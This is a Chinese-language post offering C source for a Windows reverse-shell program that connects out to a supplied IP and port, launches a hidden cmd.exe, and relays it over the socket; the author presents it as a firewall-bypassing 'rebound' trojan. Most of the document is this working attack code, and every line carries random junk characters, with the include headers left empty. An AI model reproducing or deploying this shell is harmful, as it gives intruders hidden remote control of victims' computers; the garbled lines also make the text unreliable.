这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L0/0<d(K
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/* ============================== U{"&Jj
Rebound port in Windows NT KA#4iu{
By wind,2006/7 M~t S
*
===============================*/ D"oyl`q
#include %u-l6<w#R
#include BI?M/pIm
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#pragma comment(lib,"wsock32.lib") f>g>7OsD]
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void OutputShell(); iEux`CcJ.
SOCKET sClient; =5a~xlBjD
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q+*o-
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void main(int argc,char **argv) L5Rj;qhi
{ j)?I]j/
WSADATA stWsaData; iqig~fjK~
int nRet; U{gJn#e/.
SOCKADDR_IN stSaiClient,stSaiServer; ]7}2"?J4v
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if(argc != 3) ^EdY:6NJ=A
{ pP;GDW4
printf("Useage:\n\rRebound DestIP DestPort\n"); D:sQHJ.y
return; v4kk4}lE
} r3<yG"J86
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WSAStartup(MAKEWORD(2,2),&stWsaData); <\|f;7/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8
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stSaiClient.sin_family = AF_INET; )s4#)E1
stSaiClient.sin_port = htons(0); ,kfUlv=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |tC!`.^\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $/ew'h9q
{ qP-*
printf("Bind Socket Failed!\n"); ;?"2sS!AHQ
return; js/N qf2>
} J~9l+?
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stSaiServer.sin_family = AF_INET; ?ntyF-n&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yeqZPzn
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W6_/FkO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QXqBb$AXi,
{ Fr?o
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printf("Connect Error!"); N>giFj[dD
return; y)X1!3~(
} lPFT)>(+@
OutputShell(); YIGQDj@
} UaA6
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void OutputShell() 2JwR?<n{
{ wyeiz7
char szBuff[1024]; ; 6Js
SECURITY_ATTRIBUTES stSecurityAttributes; ~]a:9Ev*
OSVERSIONINFO stOsversionInfo; |f;u5r!^=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xs$k6C3
STARTUPINFO stStartupInfo; \2~Cn c*O
char *szShell; v@TP_Ka
PROCESS_INFORMATION stProcessInformation; y[BUWas(
unsigned long lBytesRead; a^t#kdT
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p@!{Sh
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L6c=uN
stSecurityAttributes.lpSecurityDescriptor = 0; U@yn%k9
stSecurityAttributes.bInheritHandle = TRUE; Ytop=ZIl'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Dp4\rps
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %GQPiWu
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?a+>%uWt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UM%]A'h2O"
stStartupInfo.wShowWindow = SW_HIDE; l?LwQmq6
stStartupInfo.hStdInput = hReadPipe; a[bu{Z]%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 42kr&UY&
& F\HR
GetVersionEx(&stOsversionInfo); 2'UWPZgE
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switch(stOsversionInfo.dwPlatformId) ('QfB<4H1
{ `2Rd=M]?
case 1: J@ZIW%5
szShell = "command.com"; 60(j[d-$p
break; 6O uB}*
default: E-\Wo3
szShell = "cmd.exe"; E9JxntX
break; _0p8FhNt
} RGvfy/T
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~{lSc/SP|
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send(sClient,szMsg,77,0); ;DbEP. %u$
while(1) aGY R:jR$
{ IGqg,OEAp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); LldZ"%P
if(lBytesRead) g.$a]pZz
{ NN\>(
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a~jU~('4}w
send(sClient,szBuff,lBytesRead,0); KPc`5X
} U7i WYdt$
else Hz39v44
{ AlF"1X02
lBytesRead=recv(sClient,szBuff,1024,0); Q |,(C0<G
if(lBytesRead<=0) break; C.`C T7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uL| Wuq
} o6L\39v_
} hq[;QF:B
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return; W
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}